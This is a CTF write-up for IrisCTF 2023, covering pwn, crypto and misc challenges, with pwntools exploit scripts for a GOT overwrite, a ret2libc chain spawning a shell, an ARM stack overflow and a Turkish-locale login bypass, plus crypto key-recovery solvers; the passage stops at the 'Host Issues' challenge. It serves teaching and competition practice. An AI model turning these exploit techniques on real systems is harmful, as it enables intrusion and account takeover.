IrisCTF 2023 WriteUps

發表於
分類於 CTF

This article is automatically translated by LLM, so the translation may be inaccurate or incomplete. If you find any mistake, please let me know.
You can find the original article here .

After solving a few problems in RWCTF and feeling that there were no types I was good at, I came to solo this event. Although I started after 1/4 of the time had passed, I still managed to get fifth place with nyahello.

Binary Exploitation

babyseek

#include <stdlib.h>
#include <stdio.h>

void win() {
    system("cat /flag");
}

int main(int argc, char *argv[]) {
    // This is just setup
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    printf("Your flag is located around %p.\n", win);

    FILE* null = fopen("/dev/null", "w");
    int pos = 0;
    void* super_special = &win;

    fwrite("void", 1, 4, null);
    printf("I'm currently at %p.\n", null->_IO_write_ptr);
    printf("I'll let you write the flag into nowhere!\n");
    printf("Where should I seek into? ");
    scanf("%d", &pos);
    null->_IO_write_ptr += pos;

    fwrite(&super_special, sizeof(void*), 1, null);
    exit(0);
}

checksec:

    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

Since it is No RELRO, you can directly overwrite exit@got, and this only requires calculating the offset between _IO_write_ptr and exit@got.

from pwn import *
from subprocess import check_output

def solve_pow(io):
    io.recvuntil(b'with:\n    ')
    cmd = io.recvlineS().strip()
    print(cmd)
    if input('Ok? ').lower().strip() != 'y':
        exit()
    out = check_output(cmd, shell=True).strip()
    print(out)
    io.sendlineafter(b'Solution? ', out)

elf = ELF("./chal")
# io = process("./chal")
io = remote("seek.chal.irisc.tf", 10004)
solve_pow(io)

io.recvuntil(b"around ")
win = int(io.recvuntilS(b".", drop=True), 16)
io.recvuntil(b"at ")
cur = int(io.recvuntilS(b".", drop=True), 16)
base = win - elf.sym["win"]
to_write = elf.got["exit"] + base
io.sendline(str(to_write - cur).encode())
io.interactive()
# irisctf{not_quite_fseek}

ret2libm

#include <math.h>
#include <stdio.h>

// gcc -fno-stack-protector -lm

int main(int argc, char* argv) {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    char yours[8];

    printf("Check out my pecs: %p\n", fabs);
    printf("How about yours? ");
    gets(yours);
    printf("Let's see how they stack up.");

    return 0;
}

checksec:

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

It gives you the address of libm, so initially, I wanted to manually ROP to call execve("/bin/sh", 0, 0), but I couldn't find /bin/sh in libm, and there was no syscall; ret gadget available, so I gave up on that route. Later, I observed that the offset between libc and libm is fixed, so I could determine where libc is, making it a very standard ret2libc.

from pwn import *
from subprocess import check_output


def solve_pow(io):
    io.recvuntil(b"with:\n    ")
    cmd = io.recvlineS().strip()
    print(cmd)
    if input("Ok? ").lower().strip() != "y":
        exit()
    out = check_output(cmd, shell=True).strip()
    print(out)
    io.sendlineafter(b"Solution? ", out)


# context.log_level = 'debug'
context.arch = "amd64"
context.terminal = ["tmux", "splitw", "-h"]

libm = ELF("./libm-2.27.so")
libc = ELF("./libc-2.27.so")


# io = process("./chal.patched")
# io = gdb.debug('./chal.patched', 'b *(main+159)\nc')
io = remote("ret2libm.chal.irisc.tf", 10001)
solve_pow(io)

io.recvuntil(b"pecs: ")
libm_base = int(io.recvlineS().strip(), 16) - libm.sym["fabs"]
print(f"{libm_base = :#x}")
libm.address = libm_base
libc.address = libm_base - 0x3F1000


sh = next(libc.search(b"/bin/sh\x00"))
r = ROP(libc)
r.call("execve", [sh, 0, 0])

io.sendline(b"x" * 16 + r.chain())
io.interactive()
# irisctf{oh_its_ret2libc_anyway}

baby?socat

run.sh:

#!/bin/bash
echo -n "Give me your command: "
read -e -r input
input="exec:./chal ls $input"

FLAG="fakeflg{REDACTED}" socat - "$input" 2>&0

chal.c:

#include <stdlib.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
    if(argc < 2) return -1;
    if(setenv("FLAG", "NO!", 1) != 0) return -1;
    execvp(argv[1], argv+1);
    return 0;
}

The intended solution for this problem is to exploit a bug in socat's address parser when handling quotes, but I solved it with an unintended method. The method is simply RTFM: man socat. In the ADDRESS SPECIFICATIONS section, it mentions that it supports !! as dual address specifications, with the former as the read source and the latter as the write target. So you just need to input /!!exec:env to solve it.

irisctf{they_even_fixed_it_for_unbalanced_double_quotes}

Michael Bank

using System.Globalization;
using System.Linq;
using System.Net.Http.Headers;

namespace MichaelBank
{
    class Program
    {
        static Dictionary<string, float> curConv = new();

        static HashSet<string> users = new();
        static Dictionary<string, string> userPasswords = new(StringComparer.InvariantCultureIgnoreCase);
        static Dictionary<string, float> userBalances = new(StringComparer.InvariantCultureIgnoreCase);

        static string loggedInUser = "anon";

        static void SetupUsers()
        {
            users.Add("michael");
            userPasswords["michael"] = File.ReadAllText("michael_password.txt");
            userBalances["michael"] = 999966.85f;

            users.Add("bob");
            userPasswords["bob"] = "bob";
            userBalances["bob"] = 25.35f;
        }

        static void SetupCurrencyConversion()
        {
            CultureInfo.CurrentCulture = new CultureInfo("en-US");
            
            var ccLines = File.ReadAllLines("currency_conversion.txt");
            for (var i = 1; i < ccLines.Length; i++)
            {
                var line = ccLines[i];
                var firstSpace = line.IndexOf(' ');
                var firstParens = line.LastIndexOf('(');
                var lastParens = line.LastIndexOf(')');
                var value = float.Parse(line.Substring(0, firstSpace));
                var curName = line.Substring(firstParens + 1, lastParens - firstParens - 1);
                curConv[curName] = value;
            }
        }

        static string GetCurrencySymbol()
        {
            var curCulture = CultureInfo.CurrentCulture;
            var regionName = curCulture.Name.Substring(curCulture.Name.IndexOf('_') + 1);
            var ri = new RegionInfo(regionName);
            return ri.ISOCurrencySymbol;
        }

        static void CreateAccount()
        {
            Console.Write("Type username: ");
            var username = Console.ReadLine()!;
            Console.Write("Type password: ");
            var password = Console.ReadLine()!;

            foreach (var user in users)
            {
                if (user.ToLower() == username.ToLower())
                {
                    Console.WriteLine("User already exists in database!");
                    return;
                }
            }

            if (users.Count > 10000)
            {
                Console.WriteLine("Database has too many users! Check back later.");
                return;
            }

            users.Add(username.ToLower());
            userPasswords[username] = password;
        }

        static void LogIn()
        {
            Console.Write("Type username: ");
            var username = Console.ReadLine()!;
            Console.Write("Type password: ");
            var password = Console.ReadLine()!;

            var success = false;
            foreach (var user in users)
            {
                if (user == username.ToLower())
                {
                    if (userPasswords[user] == password)
                    {
                        Console.WriteLine("Success");
                        success = true;
                        loggedInUser = user;
                    }
                }
            }

            if (!success)
            {
                Console.WriteLine("No login matched.");
            }
        }

        static string GetMoneyInConvertedCurrency(float usd)
        {
            var curSymbol = GetCurrencySymbol();
            var convertedStr = $"{usd * curConv[curSymbol]} {curSymbol}";
            return convertedStr;
        }

        static void CheckBalance()
        {
            if (loggedInUser == "anon")
            {
                Console.WriteLine("Not logged in.");
                return;
            }

            if (!userBalances.ContainsKey(loggedInUser))
            {
                userBalances[loggedInUser] = 5.0f;
            }
            else if (userBalances[loggedInUser] > 1000000)
            {
                Console.WriteLine("Wow, you have a million dollars! Here's the flag!");
                Console.WriteLine(File.ReadAllText("flag.txt"));
                return;
            }

            var balance = userBalances[loggedInUser];
            var convertedStr = GetMoneyInConvertedCurrency(balance);
            Console.WriteLine("Current balance: " + convertedStr);
        }

        static void CheckMoneyLeaderboard()
        {
            var balances = userBalances.AsEnumerable().OrderBy(p => -p.Value);
            foreach (var balancePair in balances)
            {
                var convertedStr = GetMoneyInConvertedCurrency(balancePair.Value);
                Console.WriteLine($"{balancePair.Key}: {convertedStr}");
            }
        }

        static void ChangeCurrency()
        {
            while (true)
            {
                Console.Write("Type language code to use its currency: ");
                var localeStr = Console.ReadLine()!;
                try
                {
                    var cultureInf = new CultureInfo(localeStr);
                    CultureInfo.CurrentCulture = cultureInf;
                    var curSymbol = GetCurrencySymbol();
                    if (!curConv.ContainsKey(curSymbol))
                    {
                        Console.WriteLine("Currency not in database.");
                        continue;
                    }
                    Console.WriteLine("New currency: " + curSymbol);
                    return;
                }
                catch
                {
                    Console.WriteLine("Not a valid code.");
                }
            }
        }

        static void SendMoney()
        {
            if (loggedInUser == "anon")
            {
                Console.WriteLine("Not logged in.");
                return;
            }

            if (!userBalances.ContainsKey(loggedInUser))
            {
                userBalances[loggedInUser] = 5.0f;
            }

            Console.WriteLine("Amount in USD: ");
            var amountStr = Console.ReadLine()!;

            if (!float.TryParse(amountStr, out float amount))
            {
                Console.WriteLine("Invalid amount.");
                return;
            }
            else if (amount < 0.0f)
            {
                Console.WriteLine("You cannot send negative money.");
                return;
            }
            else if (amount > userBalances[loggedInUser])
            {
                Console.WriteLine("You don't have enough money for that.");
                return;
            }

            Console.WriteLine("Who to send to: ");
            var sendToUser = Console.ReadLine()!;
            foreach (var user in users)
            {
                if (user == sendToUser.ToLower())
                {
                    userBalances[loggedInUser] -= amount;
                    userBalances[user] += amount;
                    Console.WriteLine("Done.");
                    return;
                }
            }

            Console.WriteLine("User not in database.");
        }

        static void Main(string[] args)
        {
            SetupUsers();
            SetupCurrencyConversion();
            Console.WriteLine("Welcome to Michael Bank! What would you like to do?");
            while (true)
            {
                Console.WriteLine("1. Create an account");
                Console.WriteLine("2. Log in");
                Console.WriteLine("3. Check balance");
                Console.WriteLine("4. Check leaderboard");
                Console.WriteLine("5. Change currency");
                Console.WriteLine("6. Send money");
                Console.WriteLine("7. Exit");
                var choice = Console.ReadLine();
                Console.WriteLine();
                try
                {
                    switch (choice)
                    {
                        case "1": CreateAccount(); break;
                        case "2": LogIn(); break;
                        case "3": CheckBalance(); break;
                        case "4": CheckMoneyLeaderboard(); break;
                        case "5": ChangeCurrency(); break;
                        case "6": SendMoney(); break;
                        case "7": return;
                        default: Console.WriteLine("Not a valid choice."); break;
                    }
                } catch { }
                Console.WriteLine();
                Console.WriteLine("What would you like to do?");
            }
        }
    }
}

The key to this problem is that it changes CurrentCulture when converting currency, and uses ToLower during login. This reminded me of the article Hacking GitHub with Unicode's dotless 'i'. Testing it, I found that in the tr (Turkish) locale, I is converted to ı, while in en-US it becomes i. So you just need to register in the tr locale and then switch back to en-US to log in to the michael account.

Then you just need to top up the money to the target amount to get the flag.

from pwn import *
import string
from subprocess import check_output


def solve_pow(io):
    io.recvuntil(b"with:\n    ")
    cmd = io.recvlineS().strip()
    print(cmd)
    if input("Ok? ").lower().strip() != "y":
        exit()
    out = check_output(cmd, shell=True).strip()
    print(out)
    io.sendlineafter(b"Solution? ", out)


# context.log_level = 'debug'

# io = process(['dotnet', 'run'])
io = remote("michaelbank.chal.irisc.tf", 10003)
solve_pow(io)
mi = "mIchael"


def create(u, p):
    io.sendline(b"1")
    io.sendlineafter(b"username: ", u.encode())
    io.sendlineafter(b"password: ", p.encode())


def login(u, p):
    io.sendline(b"2")
    io.sendlineafter(b"username: ", u.encode())
    io.sendlineafter(b"password: ", p.encode())


def send(money, t):
    io.sendline(b"6")
    io.sendlineafter(b"USD: ", str(money).encode())
    io.sendlineafter(b"to: ", t.encode())


def change(c):
    io.sendline(b"5")
    io.sendlineafter(b"currency: ", c.encode())


for x in string.ascii_lowercase[:10]:
    create(x, x)
    login(x, x)
    send(5, mi)
change("tr")
create(mi, mi)
change("en-US")
login(mi, mi)
io.sendline(b"3")
io.interactive()
# https://archive.is/Qamyv
# irisctf{I_never_wanna_deal_with_i's_again}

Infinite Descent

This problem involves an ARM firmware.

#include <stdlib.h>

char volatile* end_of_the_tunnel = "fakeflg{REDACTED_REDACTED_REDA}";
char readbuf[5] = {0};
char* last_message = "(You didn't write anything)";

#define UART0DR (char*)0x4000c000
// https://github.com/qemu/qemu/blob/master/tests/tcg/arm/semicall.h
unsigned int __semi_call(unsigned int type, unsigned int arg0)
{
    register unsigned int t asm("r0") = type;
    register unsigned int a0 asm("r1") = arg0;
#  define SVC  "bkpt 0xab"
    asm(SVC : "=r" (t)
        : "r" (t), "r" (a0));
    return t;
}

void WRITE(const char* data) {
    __semi_call(0x04, (unsigned int)data);
}

void READ(char* dest, size_t n) {
    for(size_t i = 0; i < n; i++) {
        *(dest + i) = __semi_call(0x07, 0x00) & 0xff;
    }
}

void descend() {
    WRITE("How many characters do you write in the ground (up to 4096)? Send exactly 4 digits and the newline.\n");
    READ(readbuf, 4 + 1);
    readbuf[4] = 0;
    long int n = strtol(readbuf, NULL, 10);
    if(n <= 0 || n > 4096) { return; }
    {
        WRITE("Send n characters and the newline.\n");
        char input[n+1];
        last_message = input;
        READ(input, (size_t)n+1);
        descend();
    }
}

int main() {
    WRITE("Welcome to my tunnel.\n");
    descend();
    WRITE("You run out of energy and pass away.\n");
    WRITE("Your final message is: ");
    WRITE(last_message);
    WRITE("\nGoodbye.\n");

    return 0;
}

void _start() {
    main();
    while(1) {}
}
#!/bin/sh
qemu-system-arm -machine lm3s6965evb -cpu cortex-m3 -m 4096 --chardev stdio,id=stdio -semihosting --semihosting-config enable=on,target=native,chardev=stdio -device loader,file=chal.elf -machine accel=tcg -d int,cpu_reset -display none -S -gdb tcp::8889 2>/dev/null
# to debug, add -s -S and connect with gdb-multiarch

It uses ARM semihosting for input and output, which can be thought of as a syscall (X) for I/O, but that is unrelated to this problem.

In summary, you can use the descend function to continuously recurse, theoretically leading to a stack overflow. However, the key to this problem is that it is firmware, so its memory layout might be different from what we expect.

I first set up a debug environment, installed gdb-multiarch, and added -S -gdb tcp::8899 to the qemu command to open it on port 8899. (-s means -gdb tcp::1234)

Then, in another window, open gdb-multiarch chal.elf and connect using target remote:8889. Since I use gef, I used gef-remote --qemu-binary chal.elf localhost 8889 for better integration.

To make the context command work, you need to run it as root, so add sudo -E (Ref)

Since there are symbols, finding addresses is easy. Testing shows that the text segment and literal strings are close to 0. The data and stack are at 20000000 and 2000c000 respectively, with no protection in between!!! (You can also use readelf -A chal.elf)

So, you just need to let the stack overflow upwards until input includes &last_message, then you can change its content to the flag's location. When it returns to main, it will print the flag.

from pwn import *
import os
from subprocess import check_output


def solve_pow(io):
    io.recvuntil(b"with:\n    ")
    cmd = io.recvlineS().strip()
    print(cmd)
    if input("Ok? ").lower().strip() != "y":
        exit()
    out = check_output(cmd, shell=True).strip()
    print(out)
    io.sendlineafter(b"Solution? ", out)


context.log_level = "debug"

# io = process("docker run --name iii -v $PWD:/home/user --rm -i -p 8889:8889 iii", shell=True)
io = remote("infinitedescent.chal.irisc.tf", 10002)
solve_pow(io)

stk = 0x2000FFB8 + 56
last_msg = 0x20000070
target = 0x2740
try:
    while stk >= last_msg:
        alloc_size = min(4096, stk - last_msg - 56)
        io.sendafter(b"newline.\n", (str(alloc_size).rjust(4, "0") + "\n").encode())
        io.sendafter(b"newline.\n", p32(target) * (alloc_size // 4) + b"\n")
        stk -= alloc_size
        stk -= 56
        print("alloc", alloc_size)
        print(hex(stk))
    io.sendline(b"0000\n")
    io.interactive()
finally:
    os.system("docker kill iii")
# irisctf{no_protection_for_stak}

You will need to use gdb for some debugging to calculate positions, so I wrote a gdb python script to assist:

gdb.execute('gef config context.enable 0')
gdb.execute('gef-remote --qemu-binary chal.elf localhost 8889')
gdb.execute('b *(descend+142)')
gdb.execute('c')
for _ in range(16):
    gdb.execute('p/x $r0')
    gdb.execute('c')
# gdb-multiarch chal.elf -x sss.py

Additionally, the problem statement mentions that you can build it yourself. Download the files from ARM-software/CMSIS_5 release, extract them to the CMSIS_5 folder, and install arm-none-eabi-gcc and arm-none-eabi-newlib packages (Arch Linux) to make and compile.

Cryptography

babynotrsa

Modular inverse solves it.

babymixup

from Crypto.Cipher import AES
import os

key = os.urandom(16)

flag = b"flag{REDACTED}"
assert len(flag) % 16 == 0

iv = os.urandom(16)
cipher = AES.new(iv,  AES.MODE_CBC, key)
print("IV1 =", iv.hex())
print("CT1 =", cipher.encrypt(b"Hello, this is a public message. This message contains no flags.").hex())

iv = os.urandom(16)
cipher = AES.new(key, AES.MODE_CBC, iv )
print("IV2 =", iv.hex())
print("CT2 =", cipher.encrypt(flag).hex())

Use the first set to deduce the key, then decrypt the flag.

from Crypto.Cipher import AES
import os


def xor(a, b):
    return bytes([x ^ y for x, y in zip(a, b)])


iv1 = bytes.fromhex("4ee04f8303c0146d82e0bbe376f44e10")
ct1 = bytes.fromhex(
    "de49b7bb8e3c5e9ed51905b6de326b39b102c7a6f0e09e92fe398c75d032b41189b11f873c6cd8cdb65a276f2e48761f6372df0a109fd29842a999f4cc4be164"
)
iv2 = bytes.fromhex("1fe31329e7c15feadbf0e43a0ee2f163")
ct2 = bytes.fromhex(
    "f6816a603cefb0a0fd8a23a804b921bf489116fcc11d650c6ffb3fc0aae9393409c8f4f24c3d4b72ccea787e84de7dd0"
)

pt = b"Hello, this is a public message. This message contains no flags."
key = xor(AES.new(iv1, AES.MODE_ECB).decrypt(ct1[:16]), pt)
cipher = AES.new(key, AES.MODE_CBC, iv2)
print(cipher.decrypt(ct2))
# irisctf{the_iv_aint_secret_either_way_using_cbc}

Nonces and Keys

This problem uses AES-128-OFB with the key 0x13371337133713371337133713371337 to encrypt a sqlite3 file. Since the header is known, you can deduce the IV, then decrypt and restore the db file, and select inside to get the flag.

from Crypto.Cipher import AES

with open("challenge_enc.sqlite3", "rb") as f:
    ct = f.read()


def xor(a, b):
    return bytes([x ^ y for x, y in zip(a, b)])


hdr = b"SQLite format 3\x00"
key = bytes.fromhex("13371337133713371337133713371337")
ecb = AES.new(key, AES.MODE_ECB)
iv = ecb.decrypt(xor(hdr, ct))
with open("challenge.sqlite3", "wb") as f:
    f.write(AES.new(key, AES.MODE_OFB, iv).decrypt(ct))
# irisctf{g0tt4_l0v3_s7re4mciph3rs}

SMarT 1

A home-rolled cipher, which is a 2-round SPN (probably), and the sbox uses AES.

For the first problem, it implements encrypt, and the problem gives you the key, so you can implement decrypt. I directly used copilot to assist in writing it XD.

from pwn import xor

# I don't know how to make a good substitution box so I'll refer to AES. This way I'm not actually rolling my own crypto
# fmt: off
SBOX = [99, 124, 119, 123, 242, 107, 111, 197, 48, 1, 103, 43, 254, 215, 171, 118, 202, 130, 201, 125, 250, 89, 71, 240, 173, 212, 162, 175, 156, 164, 114, 192, 183, 253, 147, 38, 54, 63, 247, 204, 52, 165, 229, 241, 113, 216, 49, 21, 4, 199, 35, 195, 24, 150, 5, 154, 7, 18, 128, 226, 235, 39, 178, 117, 9, 131, 44, 26, 27, 110, 90, 160, 82, 59, 214, 179, 41, 227, 47, 132, 83, 209, 0, 237, 32, 252, 177, 91, 106, 203, 190, 57, 74, 76, 88, 207, 208, 239, 170, 251, 67, 77, 51, 133, 69, 249, 2, 127, 80, 60, 159, 168, 81, 163, 64, 143, 146, 157, 56, 245, 188, 182, 218, 33, 16, 255, 243, 210, 205, 12, 19, 236, 95, 151, 68, 23, 196, 167, 126, 61, 100, 93, 25, 115, 96, 129, 79, 220, 34, 42, 144, 136, 70, 238, 184, 20, 222, 94, 11, 219, 224, 50, 58, 10, 73, 6, 36, 92, 194, 211, 172, 98, 145, 149, 228, 121, 231, 200, 55, 109, 141, 213, 78, 169, 108, 86, 244, 234, 101, 122, 174, 8, 186, 120, 37, 46, 28, 166, 180, 198, 232, 221, 116, 31, 75, 189, 139, 138, 112, 62, 181, 102, 72, 3, 246, 14, 97, 53, 87, 185, 134, 193, 29, 158, 225, 248, 152, 17, 105, 217, 142, 148, 155, 30, 135, 233, 206, 85, 40, 223, 140, 161, 137, 13, 191, 230, 66, 104, 65, 153, 45, 15, 176, 84, 187, 22]

TRANSPOSE = [[3, 1, 4, 5, 6, 7, 0, 2],
 [1, 5, 7, 3, 0, 6, 2, 4],
 [2, 7, 5, 4, 0, 6, 1, 3],
 [2, 0, 1, 6, 4, 3, 5, 7],
 [6, 5, 0, 3, 2, 4, 1, 7],
 [2, 0, 6, 1, 5, 7, 4, 3],
 [1, 6, 2, 5, 0, 7, 4, 3],
 [4, 5, 6, 1, 2, 3, 7, 0]]

RR = [4, 2, 0, 6, 9, 3, 5, 7]
# fmt: on


def rr(c, n):
    n = n % 8
    return ((c << (8 - n)) | (c >> n)) & 0xFF


def rl(c, n):
    n = n % 8
    return ((c << n) | (c >> (8 - n))) & 0xFF


import secrets

ROUNDS = 2
MASK = secrets.token_bytes(8)
KEYLEN = 4 + ROUNDS * 4


def encrypt(block, key):
    assert len(block) == 8
    assert len(key) == KEYLEN
    block = bytearray(block)

    for r in range(ROUNDS):
        block = bytearray(xor(block, key[r * 4 : (r + 2) * 4]))
        for i in range(8):
            block[i] = SBOX[block[i]]
            block[i] = rr(block[i], RR[i])

        temp = bytearray(8)
        for i in range(8):
            for j in range(8):
                temp[j] |= ((block[i] >> TRANSPOSE[i][j]) & 1) << i

        block = temp

        block = xor(block, MASK)
    return block


def decrypt(block, key):
    # this is actually written by copilot :)
    assert len(block) == 8
    assert len(key) == KEYLEN
    block = bytearray(block)

    for r in reversed(range(ROUNDS)):
        block = xor(block, MASK)

        temp = bytearray(8)
        for i in range(8):
            for j in range(8):
                temp[i] |= ((block[j] >> i) & 1) << TRANSPOSE[i][j]

        block = temp

        for i in reversed(range(8)):
            block[i] = rl(block[i], RR[i])
            block[i] = SBOX.index(block[i])

        block = bytearray(xor(block, key[r * 4 : (r + 2) * 4]))
    return block


def ecb(pt, key):
    if len(pt) % 8 != 0:
        pt = pt.ljust(len(pt) + (8 - len(pt) % 8), b"\x00")

    out = b""
    for i in range(0, len(pt), 8):
        out += encrypt(pt[i : i + 8], key)
    return out


def ecb_decrypt(ct, key):
    if len(ct) % 8 != 0:
        ct = ct.ljust(len(ct) + (8 - len(ct) % 8), b"\x00")

    out = b""
    for i in range(0, len(ct), 8):
        out += decrypt(ct[i : i + 8], key)
    return out


MASK = bytes.fromhex("3d5e286c30e3af35")
key = bytes.fromhex("bc62c0b71ac3ebb55c01ca09")
fct = bytes.fromhex("efb6d7f1a2ddefdd04567cedb6d2a6c5fa8b96ad26f92fb1b0b55ad6a13838c6")
print(ecb_decrypt(fct, key))

SMarT 2

Continuing from the previous problem, this time there is no key, so you need to deduce the key from known plaintext/ciphertext pairs.

From the problem name, the capital letters SMT suggest using z3, so I rewrote the encrypt function in z3, and it worked.

from z3 import *
from pwn import xor

# I don't know how to make a good substitution box so I'll refer to AES. This way I'm not actually rolling my own crypto
# fmt: off
SBOX = [99, 124, 119, 123, 242, 107, 111, 197, 48, 1, 103, 43, 254, 215, 171, 118, 202, 130, 201, 125, 250, 89, 71, 240, 173, 212, 162, 175, 156, 164, 114, 192, 183, 253, 147, 38, 54, 63, 247, 204, 52, 165, 229, 241, 113, 216, 49, 21, 4, 199, 35, 195, 24, 150, 5, 154, 7, 18, 128, 226, 235, 39, 178, 117, 9, 131, 44, 26, 27, 110, 90, 160, 82, 59, 214, 179, 41, 227, 47, 132, 83, 209, 0, 237, 32, 252, 177, 91, 106, 203, 190, 57, 74, 76, 88, 207, 208, 239, 170, 251, 67, 77, 51, 133, 69, 249, 2, 127, 80, 60, 159, 168, 81, 163, 64, 143, 146, 157, 56, 245, 188, 182, 218, 33, 16, 255, 243, 210, 205, 12, 19, 236, 95, 151, 68, 23, 196, 167, 126, 61, 100, 93, 25, 115, 96, 129, 79, 220, 34, 42, 144, 136, 70, 238, 184, 20, 222, 94, 11, 219, 224, 50, 58, 10, 73, 6, 36, 92, 194, 211, 172, 98, 145, 149, 228, 121, 231, 200, 55, 109, 141, 213, 78, 169, 108, 86, 244, 234, 101, 122, 174, 8, 186, 120, 37, 46, 28, 166, 180, 198, 232, 221, 116, 31, 75, 189, 139, 138, 112, 62, 181, 102, 72, 3, 246, 14, 97, 53, 87, 185, 134, 193, 29, 158, 225, 248, 152, 17, 105, 217, 142, 148, 155, 30, 135, 233, 206, 85, 40, 223, 140, 161, 137, 13, 191, 230, 66, 104, 65, 153, 45, 15, 176, 84, 187, 22]

TRANSPOSE = [[3, 1, 4, 5, 6, 7, 0, 2],
 [1, 5, 7, 3, 0, 6, 2, 4],
 [2, 7, 5, 4, 0, 6, 1, 3],
 [2, 0, 1, 6, 4, 3, 5, 7],
 [6, 5, 0, 3, 2, 4, 1, 7],
 [2, 0, 6, 1, 5, 7, 4, 3],
 [1, 6, 2, 5, 0, 7, 4, 3],
 [4, 5, 6, 1, 2, 3, 7, 0]]

RR = [4, 2, 0, 6, 9, 3, 5, 7]
# fmt: on


def rr(c, n):
    n = n % 8
    return ((c << (8 - n)) | (c >> n)) & 0xFF


def rr_z3(c, n):
    n = n % 8
    return ((c << (8 - n)) | LShR(c, n)) & 0xFF


def rl(c, n):
    n = n % 8
    return ((c << n) | (c >> (8 - n))) & 0xFF


import secrets

ROUNDS = 2
MASK = secrets.token_bytes(8)
KEYLEN = 4 + ROUNDS * 4


def encrypt(block, key):
    assert len(block) == 8
    assert len(key) == KEYLEN
    block = bytearray(block)

    for r in range(ROUNDS):
        block = bytearray(xor(block, key[r * 4 : (r + 2) * 4]))
        for i in range(8):
            block[i] = SBOX[block[i]]
            block[i] = rr(block[i], RR[i])

        temp = bytearray(8)
        for i in range(8):
            for j in range(8):
                temp[j] |= ((block[i] >> TRANSPOSE[i][j]) & 1) << i

        block = temp

        block = xor(block, MASK)
    return block


sol = Solver()
z3_sbox = Function("sbox", BitVecSort(8), BitVecSort(8))
for i in range(256):
    sol.add(z3_sbox(i) == SBOX[i])


def encrypt_z3(block, key):
    assert len(block) == 8
    assert len(key) == KEYLEN

    for r in range(ROUNDS):
        block = [block[i] ^ key[r * 4 + i] for i in range(8)]
        for i in range(8):
            block[i] = z3_sbox(block[i])
            block[i] = rr_z3(block[i], RR[i])

        temp = [BitVecVal(0, 8) for _ in range(8)]
        for i in range(8):
            for j in range(8):
                temp[j] |= ((block[i] >> TRANSPOSE[i][j]) & 1) << i

        block = temp

        block = [block[i] ^ MASK[i] for i in range(8)]
    return block


def decrypt(block, key):
    # this is actually written by copilot :)
    assert len(block) == 8
    assert len(key) == KEYLEN
    block = bytearray(block)

    for r in reversed(range(ROUNDS)):
        block = xor(block, MASK)

        temp = bytearray(8)
        for i in range(8):
            for j in range(8):
                temp[i] |= ((block[j] >> i) & 1) << TRANSPOSE[i][j]

        block = temp

        for i in reversed(range(8)):
            block[i] = rl(block[i], RR[i])
            block[i] = SBOX.index(block[i])

        block = bytearray(xor(block, key[r * 4 : (r + 2) * 4]))
    return block


def ecb(pt, key):
    if len(pt) % 8 != 0:
        pt = pt.ljust(len(pt) + (8 - len(pt) % 8), b"\x00")

    out = b""
    for i in range(0, len(pt), 8):
        out += encrypt(pt[i : i + 8], key)
    return out


def ecb_decrypt(ct, key):
    if len(ct) % 8 != 0:
        ct = ct.ljust(len(ct) + (8 - len(ct) % 8), b"\x00")

    out = b""
    for i in range(0, len(ct), 8):
        out += decrypt(ct[i : i + 8], key)
    return out


MASK = bytes.fromhex("1f983a40c3f801b1")
test_pairs = [
    ["4b0c569de9bf6510", "3298255d5314ad33"],
    ["5d81105912c7f421", "805146efee62f09f"],
    ["6e23f94180be2378", "207a88ced8ab64d1"],
    ["9751eeee344a8c74", "0b561354ebbb50fa"],
    ["f4fbf94509aaea25", "4ba4dc46bbde5c63"],
    ["3e571e4e9604769e", "10820c181de8c1df"],
    ["1f7b64083d9121e8", "0523ce32dd7a9f02"],
    ["69b3dfd8765d4267", "23c8d59a34553207"],
]
test_pairs = [[bytes.fromhex(a), bytes.fromhex(b)] for a, b in test_pairs]
fct = bytes.fromhex(
    "ceb51064c084e640690c31bf55c1df4950bc81b484f559dce0ae7d509aa0fe07f7ee127e9ecb05eb4b1b58b99494f72c0b4f3f5fe351c1cb"
)


key_sym = [BitVec(f"key{i}", 8) for i in range(KEYLEN)]
for pt, ct in test_pairs:
    ct_sym = encrypt_z3(list(pt), key_sym)
    for a, b in zip(ct_sym, ct):
        sol.add(a == b)
assert sol.check() == sat
m = sol.model()
key = bytes([m.eval(x).as_long() for x in key_sym])
print(key)
flag = ecb_decrypt(fct, key)
print(flag)
# irisctf{if_you_didnt_use_a_smt_solver_thats_cool_too}

However, since this problem only has 2 rounds, as others have said, it can be reduced to S(pt^key1)^key2 = ct, and then brute-forced byte by byte.

Miscellaneous

Name that song

This problem gives a song file and asks you to find the original song name. Since it is not a common song, tools like Shazam are useless.

I first discovered in VLC that it provides instrument information, and using strings I found some text like SNR56.WAV. Googling it led me to The Mod Archive, which has many similar types of music.

However, the first result I found by Googling SNR56.WAV was not correct, so I switched to Yandex and found moon gun, and listening to it, it was the correct song.

irisctf{moon_gun}

Host Issues

chal_serv.py:

from flask import Flask, request
import string
from base64 import urlsafe_b64decode as b64decode

app = Flask(__name__)

BAD_ENV = ["LD", "LC", "PATH", "ORIGIN"]

@app.route("/env")
def env():
    data = b64decode(request.args['q']).decode()
    print(data)
    if any(c in data.upper() for c in BAD_ENV) \
            or any(c not in string.printable for c in data):
        return {"ok": 0}
    return {"ok": 1}

@app.route("/flag")
def flag():
    with open("flag", "r") as f:
        flag = f.read()
    return {"flag": flag}

app.run(port=25566)

chal.py:

import os
import subprocess
import json
from base64 import urlsafe_b64encode as b64encode

BANNER = """

Welcome to my insecure temporary data service!
1) Write data
2) Read data

"""

REMOTE = "http://0:25566/"

def check(url):
    return json.loads(subprocess.check_output(["curl", "-s", url]))

print(BANNER)
while True:
    choice = input("> ")
    try:
        print(check("http://flag_domain:25566/flag"))
    except subprocess.CalledProcessError: pass
    try:
        if choice == '1':
            env = input("Name? ")
            if check(REMOTE + "env?q=" + b64encode(env.encode()).decode())["ok"]:
                os.environ[env] = input("Value? ")
            else:
                print("No!")
        elif choice == '2':
            env = input("Name? ")
            if check(REMOTE + "env?q=" + b64encode(env.encode()).decode())["ok"]:
                if env in os.environ:
                    print(os.environ[env])
                else:
                    print("(Does not exist)")
            else:
                print("No!")
        else:
            print("Bye!")
            exit()

    except Exception as e:
        print(e)
        exit()

chal.sh:

#!/bin/bash

